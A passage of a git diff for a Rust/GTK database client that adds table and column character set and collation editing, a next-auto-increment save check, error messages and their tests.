+            true => Err(SaveBlocker::InvalidAutoIncrement),
+            false => Ok(()),
+        }
+    }
+
+    /// Whether the draft holds every value the user typed.
+    pub fn typed_values_hold(&self) -> bool {
+        self.unparsed_defaults.is_empty() && !self.invalid_auto_increment
     }
 
-    /// A default the parser refused is still the user's edit: the draft
-    /// cannot hold it, so without counting it here a close would drop it
-    /// without asking.
+    /// A value the draft cannot hold is still the user's edit, so
+    /// without counting it here a close would drop it without asking.
     pub fn has_changes(&self) -> bool {
         let drafted = match self.original {
             Some(_) => !self.changes.is_empty(),
             None => !self.draft.columns.is_empty(),
         };
-        drafted || !self.unparsed_defaults.is_empty()
+        drafted || !self.typed_values_hold()
     }
 
     /// The edits the action bar counts. A new table is one.
     pub fn change_count(&self) -> usize {
+        let unheld = self.unparsed_defaults.len() + usize::from(self.invalid_auto_increment);
         match self.original {
-            Some(_) => self.changes.change_count() + self.unparsed_defaults.len(),
-            None => usize::from(!self.draft.columns.is_empty() || !self.unparsed_defaults.is_empty()),
+            Some(_) => self.changes.change_count() + unheld,
+            None => usize::from(!self.draft.columns.is_empty() || unheld > 0),
         }
     }
 
@@ -109,7 +121,8 @@ mod tests {
     use tablepro_core::ServerInfo;
     use tablepro_core::column::{ColumnDefault, ColumnInfo};
     use tablepro_core::ddl::{
-        ColumnAttributes, ColumnDefinition, DraftColumn, DraftType, PrimaryKeyConstraint, diff_table,
+        CollationName, ColumnAttributes, ColumnDefinition, DraftColumn, DraftTableOptions, DraftType,
+        PrimaryKeyConstraint, TableOptions, diff_table,
     };
     use tablepro_core::dialect::SqlDialect;
 
@@ -130,6 +143,7 @@ mod tests {
             draft: draft(),
             changes: TableChanges::default(),
             unparsed_defaults: Vec::new(),
+            invalid_auto_increment: false,
         }
     }
 
@@ -185,6 +199,7 @@ mod tests {
             foreign_keys: Vec::new(),
             inbound_foreign_keys: Vec::new(),
             source: None,
+            options: None,
         }
     }
 
@@ -197,6 +212,7 @@ mod tests {
             original: Some(original),
             draft,
             unparsed_defaults: Vec::new(),
+            invalid_auto_increment: false,
         }
     }
 
@@ -231,6 +247,17 @@ mod tests {
         assert_eq!(typed_default.change_count(), 1);
     }
 
+    #[test]
+    fn an_invalid_next_auto_increment_is_a_pending_change_that_holds_the_save() {
+        let mut typed_counter = edited(|_| {});
+        typed_counter.invalid_auto_increment = true;
+
+        assert!(typed_counter.has_changes());
+        assert_eq!(typed_counter.change_count(), 1);
+        assert!(!typed_counter.typed_values_hold());
+        assert_eq!(typed_counter.check(), Err(SaveBlocker::InvalidAutoIncrement));
+    }
+
     #[test]
     fn an_edit_counts_its_changes_and_follows_a_rename() {
         let original = TableDefinition {
@@ -241,6 +268,7 @@ mod tests {
             foreign_keys: Vec::new(),
             inbound_foreign_keys: Vec::new(),
             source: None,
+            options: None,
         };
         let mut renamed = TableDraft::from_definition(&original);
         renamed.table.name = "purchases".to_owned();
@@ -249,12 +277,14 @@ mod tests {
             original: Some(original.clone()),
             draft: renamed,
             unparsed_defaults: Vec::new(),
+            invalid_auto_increment: false,
         };
         let unchanged = PendingStructure {
             changes: TableChanges::default(),
             draft: TableDraft::from_definition(&original),
             original: Some(original),
             unparsed_defaults: Vec::new(),
+            invalid_auto_increment: false,
         };
 
         assert!(pending.has_changes());
@@ -272,13 +302,15 @@ mod tests {
     }
 
     /// One engine's dialect with the integer and text types its catalogue
-    /// would report, and the name it gives a primary key.
+    /// would report, the name it gives a primary key, and the character
+    /// set and collation it reports for a table and its text columns.
     struct Engine {
         name: &'static str,
         dialect: Box<dyn SqlDialect>,
         integer: &'static str,
         text: &'static str,
         key_name: Option<&'static str>,
+        collation: Option<(&'static str, &'static str)>,
     }
 
     fn engines() -> Vec<Engine> {
@@ -289,6 +321,7 @@ mod tests {
             integer,
             text,
             key_name,
+            collation: None,
         };
         vec![
             engine(
@@ -298,26 +331,32 @@ mod tests {
                 "text",
                 Some("t_pkey"),
             ),
-            engine(
-                "MySQL",
-                Box::new(tablepro_driver_mysql::MySqlDialect::new(
-                    tablepro_driver_mysql::MySqlFlavour::MySql,
-                    &ServerInfo::new("MySQL", "8.4.3", 8, 4, 3),
-                )),
-                "int",
-                "varchar(40)",
-                Some("PRIMARY"),
-            ),
-            engine(
-                "MariaDB",
-                Box::new(tablepro_driver_mysql::MySqlDialect::new(
-                    tablepro_driver_mysql::MySqlFlavour::MariaDb,
-                    &ServerInfo::new("MariaDB", "11.4.5", 11, 4, 5),
-                )),
-                "int",
-                "varchar(40)",
-                Some("PRIMARY"),
-            ),
+            Engine {
+                collation: Some(("utf8mb4", "utf8mb4_0900_ai_ci")),
+                ..engine(
+                    "MySQL",
+                    Box::new(tablepro_driver_mysql::MySqlDialect::new(
+                        tablepro_driver_mysql::MySqlFlavour::MySql,
+                        &ServerInfo::new("MySQL", "8.4.3", 8, 4, 3),
+                    )),
+                    "int",
+                    "varchar(40)",
+                    Some("PRIMARY"),
+                )
+            },
+            Engine {
+                collation: Some(("utf8mb4", "utf8mb4_uca1400_ai_ci")),
+                ..engine(
+                    "MariaDB",
+                    Box::new(tablepro_driver_mysql::MySqlDialect::new(
+                        tablepro_driver_mysql::MySqlFlavour::MariaDb,
+                        &ServerInfo::new("MariaDB", "11.4.5", 11, 4, 5),
+                    )),
+                    "int",
+                    "varchar(40)",
+                    Some("PRIMARY"),
+                )
+            },
             engine(
                 "SQL Server",
                 Box::new(tablepro_driver_mssql::MssqlDialect::new(16)),
@@ -352,6 +391,7 @@ mod tests {
     fn table(engine: &Engine) -> TableDefinition {
         let column = |name: &str, declaration: &str| {
             let column_type = engine.dialect.parse_type(declaration).expect("the engine's own type");
+            let collation = engine.collation.filter(|_| declaration == engine.text);
             ColumnDefinition::new(
                 ColumnInfo {
                     name: name.to_owned(),
@@ -364,7 +404,11 @@ mod tests {
                     default: ColumnDefault::None,
                     comment: None,
                 },
-                ColumnAttributes::default(),
+                ColumnAttributes {
+                    character_set: collation.map(|(character_set, _)| character_set.to_owned()),
+                    collation: collation.map(|(_, collation)| CollationName::new(None, collation)),
+                    ..ColumnAttributes::default()
+                },
             )
         };
         let mut score = column("score", engine.integer);
@@ -383,6 +427,11 @@ mod tests {
             foreign_keys: Vec::new(),
             inbound_foreign_keys: Vec::new(),
             source: None,
+            options: engine.collation.map(|(character_set, collation)| TableOptions {
+                character_set: Some(character_set.to_owned()),
+                collation: Some(collation.to_owned()),
+                next_auto_increment: None,
+            }),
         }
     }
 
@@ -400,6 +449,10 @@ mod tests {
         Comment(usize),
         Drop(usize),
         Add(usize),
+        TableCharacterSet,
+        ConvertColumns,
+        NextAutoIncrement(u64),
+        ColumnCharacterSet(usize),
     }
 
     const NAMES: [&str; 6] = ["id", "name", "score", "note", "fresh", "Score"];
@@ -416,8 +469,12 @@ mod tests {
             (column.clone(), proptest::option::of(-2i64..3)).prop_map(|(column, value)| Edit::Default(column, value)),
             (column.clone(), any::<bool>()).prop_map(|(column, integer)| Edit::Retype(column, integer)),
             column.clone().prop_map(Edit::Comment),
-            column.prop_map(Edit::Drop),
+            column.clone().prop_map(Edit::Drop),
             name.prop_map(Edit::Add),
+            Just(Edit::TableCharacterSet),
+            Just(Edit::ConvertColumns),
+            (1u64..1_000_000).prop_map(Edit::NextAutoIncrement),
+            column.prop_map(Edit::ColumnCharacterSet),
         ]
     }
 
@@ -479,6 +536,30 @@ mod tests {
                     };
                 }
             }
+            Edit::ColumnCharacterSet(index) => {
+                if let Some(column) = column(draft, index) {
+                    column.character_set = Some("latin1".to_owned());
+                    column.collation = Some("latin1_bin".to_owned());
+                }
+            }
+            Edit::TableCharacterSet | Edit::ConvertColumns | Edit::NextAutoIncrement(_) => {
+                if let Some(options) = draft.options.as_mut() {
+                    edit_options(options, edit);
+                }
+            }
+        }
+    }
+
+    /// The table's options are offered only where the engine read them.
+    fn edit_options(options: &mut DraftTableOptions, edit: &Edit) {
+        match *edit {
+            Edit::TableCharacterSet => {
+                options.character_set = Some("latin1".to_owned());
+                options.collation = Some("latin1_swedish_ci".to_owned());
+            }
+            Edit::ConvertColumns => options.converts_columns = !options.converts_columns,
+            Edit::NextAutoIncrement(value) => options.next_auto_increment = Some(value),
+            _ => {}
         }
     }
 
diff --git a/linux/crates/app/src/services/structure_tracker.rs b/linux/crates/app/src/services/structure_tracker.rs
index 5e75d0d394..7b084286df 100644
--- a/linux/crates/app/src/services/structure_tracker.rs
+++ b/linux/crates/app/src/services/structure_tracker.rs
@@ -105,6 +105,7 @@ mod tests {
             draft,
             changes: TableChanges::default(),
             unparsed_defaults: Vec::new(),
+            invalid_auto_increment: false,
         }
     }
 
diff --git a/linux/crates/app/src/services/structure_tracker_registry.rs b/linux/crates/app/src/services/structure_tracker_registry.rs
index dffec7c9ad..540f511285 100644
--- a/linux/crates/app/src/services/structure_tracker_registry.rs
+++ b/linux/crates/app/src/services/structure_tracker_registry.rs
@@ -22,6 +22,7 @@ mod tests {
             draft,
             changes: TableChanges::default(),
             unparsed_defaults: Vec::new(),
+            invalid_auto_increment: false,
         })
     }
 
diff --git a/linux/crates/app/src/ui/error_text/ddl.rs b/linux/crates/app/src/ui/error_text/ddl.rs
index 1bf3e8d5b1..112a00b6f8 100644
--- a/linux/crates/app/src/ui/error_text/ddl.rs
+++ b/linux/crates/app/src/ui/error_text/ddl.rs
@@ -49,6 +49,9 @@ pub fn refusal_text(reason: &RefusalReason) -> String {
             u32::try_from(triggers.len()).unwrap_or(u32::MAX),
             &[("triggers", &triggers.join(", "))],
         ),
+        RefusalReason::ColumnsConverted => {
+            crate::i18n::gettext("Save column and primary key changes before converting existing columns.")
+        }
     }
 }
 
@@ -86,7 +89,9 @@ fn draft_problem_text(problem: &DraftProblem) -> String {
 pub fn save_blocker_text(blocker: &SaveBlocker) -> String {
     match blocker {
         SaveBlocker::Draft(problem) => draft_problem_text(problem),
-        SaveBlocker::UnparsedDefault(_) => crate::i18n::gettext("Fix the highlighted fields first."),
+        SaveBlocker::UnparsedDefault(_) | SaveBlocker::InvalidAutoIncrement => {
+            crate::i18n::gettext("Fix the highlighted fields first.")
+        }
     }
 }
 
@@ -107,6 +112,12 @@ pub fn build_error_text(error: &BuildDdlError) -> String {
         BuildDdlError::Unsupported(DdlOperation::RequiredColumn) => {
             crate::i18n::gettext("This database can make only primary key columns NOT NULL.")
         }
+        BuildDdlError::Unsupported(DdlOperation::AlterTableOptions) => crate::i18n::gettext(
+            "This database can't change this table's character set, collation or next auto increment value.",
+        ),
+        BuildDdlError::Unsupported(DdlOperation::AlterColumnCollation) => {
+            crate::i18n::gettext("This database can't change a column's character set or collation.")
+        }
         BuildDdlError::Unsupported(_) => crate::i18n::gettext("This database can't make this change."),
         BuildDdlError::InvalidType { column, error } => crate::i18n::gettext_f(
             "The type of column {column} can't be used. {reason}",
diff --git a/linux/crates/app/src/ui/error_text/tests.rs b/linux/crates/app/src/ui/error_text/tests.rs
index baa045455a..d2170682cb 100644
--- a/linux/crates/app/src/ui/error_text/tests.rs
+++ b/linux/crates/app/src/ui/error_text/tests.rs
@@ -763,3 +763,31 @@ fn a_rebuild_refusal_names_the_dependent_rather_than_a_column() {
     assert!(!unreplayable.contains("Column"), "{unreplayable}");
     assert!(numbered.contains("primary key"), "{numbered}");
 }
+
+#[test]
+fn a_refused_character_set_change_says_which_one() {
+    use tablepro_core::ddl::{BuildDdlError, DdlOperation};
+
+    let table = build_error_text(&BuildDdlError::Unsupported(DdlOperation::AlterTableOptions));
+    let column = build_error_text(&BuildDdlError::Unsupported(DdlOperation::AlterColumnCollation));
+
+    assert!(table.contains("table's character set"), "{table}");
+    assert!(column.contains("column's character set"), "{column}");
+}
+
+#[test]
+fn a_column_change_beside_a_convert_says_to_save_it_first() {
+    use tablepro_core::ddl::{BuildDdlError, DdlOperation, RefusalReason};
+
+    let text = build_error_text(&BuildDdlError::Refused {
+        column: "email".to_owned(),
+        operation: DdlOperation::AlterTableOptions,
+        reason: RefusalReason::ColumnsConverted,
+    });
+
+    assert_eq!(
+        text,
+        "Column email can't be changed this way. Save column and primary key changes before converting existing \
+         columns."
+    );
+}
diff --git a/linux/crates/app/src/ui/error_text/unsupported.rs b/linux/crates/app/src/ui/error_text/unsupported.rs
index 2610de428a..cd7aae5416 100644
--- a/linux/crates/app/src/ui/error_text/unsupported.rs
+++ b/linux/crates/app/src/ui/error_text/unsupported.rs
@@ -46,6 +46,7 @@ pub(super) fn unsupported_message(feature: UnsupportedFeature) -> String {
         UnsupportedFeature::ServerPaging => gettext("This database does not page tables on the server."),
         UnsupportedFeature::Tables => gettext("This database holds keys, not tables."),
         UnsupportedFeature::Keys => gettext("This database holds tables, not keys."),
+        UnsupportedFeature::CharacterSets => gettext("This database has no character sets to pick from."),
         UnsupportedFeature::EditorCommand { command } => gettext_f(
             "{command} cannot run in the editor: it turns the connection into a stream the editor cannot show.",
             &[("command", command)],
@@ -82,6 +83,7 @@ mod tests {
             UnsupportedFeature::ServerPaging,
             UnsupportedFeature::Tables,
             UnsupportedFeature::Keys,
+            UnsupportedFeature::CharacterSets,
             UnsupportedFeature::EditorCommand { command: "MONITOR" },
         ];
 
diff --git a/linux/crates/app/src/ui/session_window/tests/mod.rs b/linux/crates/app/src/ui/session_window/tests/mod.rs
index f701ba1774..5242097aef 100644
--- a/linux/crates/app/src/ui/session_window/tests/mod.rs
+++ b/linux/crates/app/src/ui/session_window/tests/mod.rs
@@ -1216,5 +1216,6 @@ fn users_table() -> tablepro_core::ddl::TableDefinition {
         foreign_keys: Vec::new(),
         inbound_foreign_keys: Vec::new(),
         source: None,
+        options: None,
     }
 }
diff --git a/linux/crates/app/src/ui/structure_tab/character_set_choices.rs b/linux/crates/app/src/ui/structure_tab/character_set_choices.rs
new file mode 100644
index 0000000000..05f3c862ca
--- /dev/null
+++ b/linux/crates/app/src/ui/structure_tab/character_set_choices.rs
@@ -0,0 +1,241 @@
+//! The Character Set and Collation rows of a table and of its text
+//! columns: searchable lists of what the server offers, where the
+//! collations follow the character set picked.
+
+use std::cell::{Cell, RefCell};
+use std::rc::Rc;
+
+use gtk4 as gtk;
+use gtk4::glib;
+use gtk4::prelude::*;
+use libadwaita as adw;
+use libadwaita::prelude::*;
+use tablepro_core::column::ColumnKind;
+use tablepro_core::ddl::{CharacterSet, DraftColumn};
+use tablepro_core::dialect::SqlDialect;
+
+use super::context::CharacterSets;
+use crate::i18n::{gettext, gettext_f};
+
+/// One entry of a row: the name it writes, `None` for the table's
+/// default, and what the list shows for it.
+#[derive(Debug, Clone, PartialEq, Eq)]
+pub(super) struct Choice {
+    pub(super) value: Option<String>,
+    pub(super) label: String,
+}
+
+impl Choice {
+    fn named(name: &str) -> Self {
+        Self {
+            value: Some(name.to_owned()),
+            label: name.to_owned(),
+        }
+    }
+
+    fn table_default() -> Self {
+        Self {
+            value: None,
+            label: gettext("Table default"),
+        }
+    }
+}
+
+/// A combo row whose entries stand for names. Filling it is no pick.
+#[derive(Clone)]
+pub(super) struct ChoiceRow {
+    row: glib::WeakRef<adw::ComboRow>,
+    choices: Rc<RefCell<Vec<Choice>>>,
+    filling: Rc<Cell<bool>>,
+}
+
+impl ChoiceRow {
+    pub(super) fn new(row: &adw::ComboRow, on_pick: impl Fn(Option<String>) + 'static) -> Self {
+        row.set_enable_search(true);
+        row.set_search_match_mode(gtk::StringFilterMatchMode::Substring);
+        row.set_expression(Some(&gtk::PropertyExpression::new(
+            gtk::StringObject::static_type(),
+            None::<&gtk::Expression>,
+            "string",
+        )));
+        // Collation names run long, and an ellipsis would hide the part
+        // that tells them apart.
+        crate::ui::combo_value::show_whole_value(row);
+        let choices: Rc<RefCell<Vec<Choice>>> = Rc::default();
+        let filling = Rc::new(Cell::new(false));
+        let (listed, quiet) = (choices.clone(), filling.clone());
+        row.connect_selected_notify(move |row| {
+            if quiet.get() {
+                return;
+            }
+            let picked = usize::try_from(row.selected())
+                .ok()
+                .and_then(|position| listed.borrow().get(position).map(|choice| choice.value.clone()));
+            if let Some(value) = picked {
+                on_pick(value);
+            }
+        });
+        Self {
+            row: row.downgrade(),
+            choices,
+            filling,
+        }
+    }
+
+    /// List `choices` with the one that writes `selected` picked. The
+    /// list is replaced only when it changed, since this also puts back
+    /// a pick the tab refused, from inside that pick's own signal.
+    pub(super) fn show(&self, choices: &[Choice], selected: Option<&str>) {
+        let Some(row) = self.row.upgrade() else {
+            return;
+        };
+        let position = choices
+            .iter()
+            .position(|choice| choice.value.as_deref() == selected)
+            .and_then(|position| u32::try_from(position).ok())
+            .unwrap_or(gtk::INVALID_LIST_POSITION);
+        self.filling.set(true);
+        if *self.choices.borrow() != choices {
+            self.choices.replace(choices.to_vec());
+            let labels: Vec<&str> = choices.iter().map(|choice| choice.label.as_str()).collect();
+            row.set_model(Some(&gtk::StringList::new(&labels)));
+        }
+        row.set_selected(position);
+        self.filling.set(false);
+    }
+}
+
+/// A row is off until the server's character sets are read, and says
+/// why when they could not be.
+pub(super) fn follow_catalog(row: &adw::ComboRow, character_sets: &CharacterSets) {
+    let reason = matches!(character_sets, CharacterSets::Unreadable)
+        .then(|| gettext("The server's character sets couldn't be read."));
+    row.set_sensitive(matches!(character_sets, CharacterSets::Read(_)));
+    row.set_tooltip_text(reason.as_deref());
+    let widget = row.upcast_ref::<gtk::Widget>();
+    match reason.as_deref() {
+        Some(text) => widget.update_property(&[gtk::accessible::Property::Description(text)]),
+        None => widget.reset_property(gtk::AccessibleProperty::Description),
+    }
+}
+
+/// The character sets the server offers, and the one the row holds when
+/// the server does not list it, so the row never shows a value it
+/// cannot write back. `table_default` adds the entry that names none.
+pub(super) fn character_set_choices(
+    catalog: &[CharacterSet],
+    current: Option<&str>,
+    table_default: bool,
+) -> Vec<Choice> {
+    let mut choices: Vec<Choice> = table_default.then(Choice::table_default).into_iter().collect();
+    if let Some(current) = current
+        && !catalog.iter().any(|set| set.name == current)
+    {
+        choices.push(Choice::named(current));
+    }
+    choices.extend(catalog.iter().map(|set| Choice::named(&set.name)));
+    choices
+}
+
+/// The collations of `character_set`, its default one marked, and the
+/// one the row holds when the server does not list it. A column that
+/// names no character set takes the table's collation too.
+pub(super) fn collation_choices(
+    catalog: &[CharacterSet],
+    character_set: Option<&str>,
+    current: Option<&str>,
+) -> Vec<Choice> {
+    let Some(character_set) = character_set else {
+        return vec![Choice::table_default()];
+    };
+    let mut choices: Vec<Choice> = Vec::new();
+    if let Some(current) = current
+        && !collations_of(catalog, character_set).any(|collation| collation == current)
+    {
+        choices.push(Choice::named(current));
+    }
+    let default = default_collation(catalog, character_set);
+    choices.extend(collations_of(catalog, character_set).map(|collation| Choice {
+        value: Some(collation.to_owned()),
+        label: match default.as_deref() == Some(collation) {
+            true => gettext_f("{collation} (default)", &[("collation", collation)]),
+            false => collation.to_owned(),
+        },
+    }));
+    choices
+}
+
+fn collations_of<'a>(catalog: &'a [CharacterSet], character_set: &str) -> impl Iterator<Item = &'a str> {
+    catalog
+        .iter()
+        .filter(move |set| set.name == character_set)
+        .flat_map(|set| set.collations.iter().map(String::as_str))
+}
+
+/// The collation a character set takes when it is named alone.
+pub(super) fn default_collation(catalog: &[CharacterSet], character_set: &str) -> Option<String> {
+    catalog
+        .iter()
+        .find(|set| set.name == character_set)
+        .map(|set| set.default_collation.clone())
+}
+
+/// Whether the column's type holds text, the only kind a character set
+/// applies to.
+pub(super) fn takes_character_set(dialect: Option<&dyn SqlDialect>, column: &DraftColumn) -> bool {
+    let Some(dialect) = dialect else {
+        return false;
+    };
+    column
+        .column_type
+        .column_type(dialect, &column.name)
+        .is_ok_and(|column_type| matches!(column_type.kind, ColumnKind::Text { .. } | ColumnKind::Enum { .. }))
+}
+
+#[cfg(test)]
+mod tests {
+    use super::*;
+
+    fn catalog() -> Vec<CharacterSet> {
+        vec![CharacterSet {
+            name: "latin1".to_owned(),
+            default_collation: "latin1_swedish_ci".to_owned(),
+            collations: vec!["latin1_bin".to_owned(), "latin1_swedish_ci".to_owned()],
+        }]
+    }
+
+    fn values(choices: &[Choice]) -> Vec<Option<&str>> {
+        choices.iter().map(|choice| choice.value.as_deref()).collect()
+    }
+
+    #[test]
+    fn a_character_set_the_server_does_not_list_stays_a_choice() {
+        let choices = character_set_choices(&catalog(), Some("utf8mb4"), true);
+
+        assert_eq!(values(&choices), [None, Some("utf8mb4"), Some("latin1")]);
+        assert_eq!(choices[0].label, "Table default");
+    }
+
+    #[test]
+    fn collations_follow_their_character_set_with_the_default_marked() {
+        let labels: Vec<String> = collation_choices(&catalog(), Some("latin1"), Some("latin1_bin"))
+            .into_iter()
+            .map(|choice| choice.label)
+            .collect();
+
+        assert_eq!(labels, ["latin1_bin", "latin1_swedish_ci (default)"]);
+        assert_eq!(
+            values(&collation_choices(
+                &catalog(),
+                Some("latin1"),
+                Some("latin1_german1_ci")
+            )),
+            [Some("latin1_german1_ci"), Some("latin1_bin"), Some("latin1_swedish_ci")]
+        );
+        assert_eq!(values(&collation_choices(&catalog(), None, None)), [None]);
+        assert_eq!(
+            default_collation(&catalog(), "latin1").as_deref(),
+            Some("latin1_swedish_ci")
+        );
+    }
+}
diff --git a/linux/crates/app/src/ui/structure_tab/character_set_fetch.rs b/linux/crates/app/src/ui/structure_tab/character_set_fetch.rs
new file mode 100644
index 0000000000..649bd17884
--- /dev/null
+++ b/linux/crates/app/src/ui/structure_tab/character_set_fetch.rs
@@ -0,0 +1,77 @@
+use std::sync::Arc;
+
+use tablepro_core::ddl::CharacterSet;
+use tablepro_session::{OperationError, OperationKind, Session};
+use tokio_util::sync::CancellationToken;
+
+/// The server's character sets and their collations: a read of its own
+/// after the definition's, since they belong to the server rather than
+/// the table, and a table whose list cannot be read is still edited.
+pub(crate) async fn fetch_character_sets(
+    session: Arc<Session>,
+    cancel: CancellationToken,
+) -> Result<Vec<CharacterSet>, Arc<OperationError>> {
+    session
+        .run_cancellable(OperationKind::Metadata, &cancel, |lease, options| async move {
+            Ok(lease.fetch_character_sets(options).await?)
+        })
+        .await
+        .map_err(|error| {
+            if error != OperationError::Cancelled {
+                tracing::warn!(category = ?error.category(), "character set read failed");
+            }
+            Arc::new(error)
+        })
+}
+
+#[cfg(test)]
+mod tests {
+    use std::time::Duration;
+
+    use tablepro_core::DriverError;
+    use tablepro_test_support::{ConnectionScript, FakeReply};
+
+    use super::*;
+    use crate::test_support::{FakeSession, finish_on_main};
+
+    const WAIT: Duration = Duration::from_secs(10);
+
+    fn read(script: ConnectionScript) -> Result<Vec<CharacterSet>, Arc<OperationError>> {
+        let runtime = crate::test_support::test_runtime();
+        let fake = FakeSession::start(script, [], runtime.tasks());
+        let running = runtime
+            .tasks()
+            .spawn_task(fetch_character_sets(fake.session.clone(), CancellationToken::new()));
+        let outcome = finish_on_main(WAIT, running).expect("the read ends");
+        runtime.shutdown();
+        outcome.expect("the read ran to its end")
+    }
+
+    #[gtk4::test]
+    fn the_character_sets_come_back_as_the_server_lists_them() {
+        let latin1 = CharacterSet {
+            name: "latin1".to_owned(),
+            default_collation: "latin1_swedish_ci".to_owned(),
+            collations: vec!["latin1_bin".to_owned(), "latin1_swedish_ci".to_owned()],
+        };
+        let mut script = ConnectionScript::default();
+        script.fetch_character_sets.always(FakeReply::ok(vec![latin1.clone()]));
+
+        assert_eq!(read(script), Ok(vec![latin1]));
+    }
+
+    #[gtk4::test]
+    fn a_failed_read_keeps_the_driver_error() {
+        let mut script = ConnectionScript::default();
+        script
+            .fetch_character_sets
+            .always(FakeReply::err(DriverError::server("no information_schema")));
+
+        assert_eq!(
+            read(script),
+            Err(Arc::new(OperationError::Driver(DriverError::server(
+                "no information_schema"
+            ))))
+        );
+    }
+}
diff --git a/linux/crates/app/src/ui/structure_tab/column_handlers.rs b/linux/crates/app/src/ui/structure_tab/column_handlers.rs
index db4dbd8e77..dabce0effe 100644
--- a/linux/crates/app/src/ui/structure_tab/column_handlers.rs
+++ b/linux/crates/app/src/ui/structure_tab/column_handlers.rs
@@ -62,6 +62,14 @@ impl StructureModel {
                 }
             }
             ColumnField::Comment(comment) => column.update(|draft| draft.comment = comment),
+            ColumnField::CharacterSet {
+                character_set,
+                collation,
+            } => column.update(|draft| {
+                draft.character_set = character_set;
+                draft.collation = collation;
+            }),
+            ColumnField::Collation(collation) => column.update(|draft| draft.collation = collation),
         }
         self.recompute_dirty_state(fx);
     }
diff --git a/linux/crates/app/src/ui/structure_tab/columns.rs b/linux/crates/app/src/ui/structure_tab/columns.rs
index 1db86fd094..f2e41e8e2a 100644
--- a/linux/crates/app/src/ui/structure_tab/columns.rs
+++ b/linux/crates/app/src/ui/structure_tab/columns.rs
@@ -9,6 +9,9 @@ use libadwaita::prelude::*;
 use tablepro_core::ddl::{ColumnCapabilities, DraftColumn, DraftType, Permission};
 use tablepro_core::dialect::SqlDialect;
 
+use super::character_set_choices::{
+    ChoiceRow, character_set_choices, collation_choices, default_collation, follow_catalog, takes_character_set,
+};
 use super::context::StructureContext;
 use super::draft_column_object::DraftColumnObject;
 use super::{ColumnField, ColumnsInput, StructureTabSender};
@@ -60,7 +63,7 @@ fn hold_not_null(row: &adw::SwitchRow, key: bool) {
 }
 
 /// Mark a field whose text the engine's parser refused, or clear it.
-fn mark_invalid(row: &adw::EntryRow, error: Option<&str>) {
+pub(super) fn mark_invalid(row: &adw::EntryRow, error: Option<&str>) {
     match error {
         Some(message) => {
             row.add_css_class("error");
@@ -127,7 +130,15 @@ pub(super) fn build_column_row(
     // On the header, so it shows whether or not the row is expanded.
     row.add_suffix(&remove_button(column, sender, &permissions.drop));
     row.add_row(&name_row(&draft, &permissions.rename, edits.clone()));
-    row.add_row(&type_row(&draft, context, &permissions.alter_type, edits.clone()));
+    let type_row = type_row(&draft, context, &permissions.alter_type, edits.clone());
+    row.add_row(&type_row);
+    if context.capabilities().column_collations {
+        let (character_set_row, collation_row) =
+            character_set_rows(&draft, context, &permissions.alter_collation, &edits);
+        show_while_text(&type_row, &draft, context, &edits, [&character_set_row, &collation_row]);
+        row.add_row(&character_set_row);
+        row.add_row(&collation_row);
+    }
     let nullable_row = nullable_row(&draft, &permissions.alter_nullability, edits.clone());
     row.add_row(&nullable_row);
     row.add_row(&default_row(
@@ -205,6 +216,91 @@ fn type_row(
     type_row
 }
 
+/// The Character Set and Collation of a column that holds text, from
+/// the server's lists. A character set picked takes its default
+/// collation, and the Collation row then lists only that set's.
+fn character_set_rows(
+    draft: &DraftColumn,
+    context: &StructureContext,
+    permission: &Permission,
+    edits: &ColumnEdits,
+) -> (adw::ComboRow, adw::ComboRow) {
+    let catalog = context.character_set_catalog();
+    let character_set_row = adw::ComboRow::builder()
+        .title(crate::i18n::gettext("Character Set"))
+        .build();
+    character_set_row.set_widget_name("col-charset");
+    let collation_row = adw::ComboRow::builder()
+        .title(crate::i18n::gettext("Collation"))
+        .build();
+    collation_row.set_widget_name("col-collation");
+
+    let edits_for_collation = edits.clone();
+    let collation = ChoiceRow::new(&collation_row, move |picked| {
+        edits_for_collation.send(ColumnField::Collation(picked));
+    });
+    collation.show(
+        &collation_choices(&catalog, draft.character_set.as_deref(), draft.collation.as_deref()),
+        draft.collation.as_deref(),
+    );
+    // A column the server gave a character set has one of its own; only
+    // one that has none yet can keep following the table's.
+    let table_default = draft
+        .original
+        .as_ref()
+        .is_none_or(|original| original.attributes.character_set.is_none());
+    let (edits_for_set, catalog_for_set) = (edits.clone(), catalog.clone());
+    let character_set = ChoiceRow::new(&character_set_row, move |picked| {
+        let default = picked
+            .as_deref()
+            .and_then(|name| default_collation(&catalog_for_set, name));
+        collation.show(
+            &collation_choices(&catalog_for_set, picked.as_deref(), default.as_deref()),
+            default.as_deref(),
+        );
+        edits_for_set.send(ColumnField::CharacterSet {
+            character_set: picked,
+            collation: default,
+        });
+    });
+    character_set.show(
+        &character_set_choices(&catalog, draft.character_set.as_deref(), table_default),
+        draft.character_set.as_deref(),
+    );
+    for row in [&character_set_row, &collation_row] {
+        follow_catalog(row, &context.character_sets);
+        gate(row, permission);
+    }
+    (character_set_row, collation_row)
+}
+
+/// `rows` show while the column's type holds text, and follow the Type
+/// field as it is typed. The Type field's own handler has written the
+/// type into the column by the time this one reads it.
+fn show_while_text(
+    type_row: &adw::EntryRow,
+    draft: &DraftColumn,
+    context: &StructureContext,
+    edits: &ColumnEdits,
+    rows: [&adw::ComboRow; 2],
+) {
+    let holds_text = takes_character_set(context.dialect.as_deref(), draft);
+    for row in rows {
+        row.set_visible(holds_text);
+    }
+    let (dialect, column) = (context.dialect.clone(), edits.column.clone());
+    let rows = rows.map(|row| row.downgrade());
+    type_row.connect_changed(move |_| {
+        let Some(column) = column.upgrade() else {
+            return;
+        };
+        let holds_text = takes_character_set(dialect.as_deref(), &column.column());
+        for row in rows.iter().filter_map(glib::WeakRef::upgrade) {
+            row.set_visible(holds_text);
+        }
+    });
+}
+
 fn nullable_row(draft: &DraftColumn, permission: &Permission, edits: ColumnEdits) -> adw::SwitchRow {
     let nullable_row = adw::SwitchRow::builder()
         .title(crate::i18n::gettext("Nullable"))
diff --git a/linux/crates/app/src/ui/structure_tab/columns_input.rs b/linux/crates/app/src/ui/structure_tab/columns_input.rs
index f82536b66a..e7b10f33ad 100644
--- a/linux/crates/app/src/ui/structure_tab/columns_input.rs
+++ b/linux/crates/app/src/ui/structure_tab/columns_input.rs
@@ -21,4 +21,11 @@ pub enum ColumnField {
     /// SQL text; empty is no default.
     Default(String),
     Comment(Option<String>),
+    /// A character set and the collation that goes with it, written
+    /// together. `None` takes the table's.
+    CharacterSet {
+        character_set: Option<String>,
+        collation: Option<String>,
+    },
+    Collation(Option<String>),
 }
diff --git a/linux/crates/app/src/ui/structure_tab/context.rs b/linux/crates/app/src/ui/structure_tab/context.rs
index 023270f304..0af7170a6b 100644
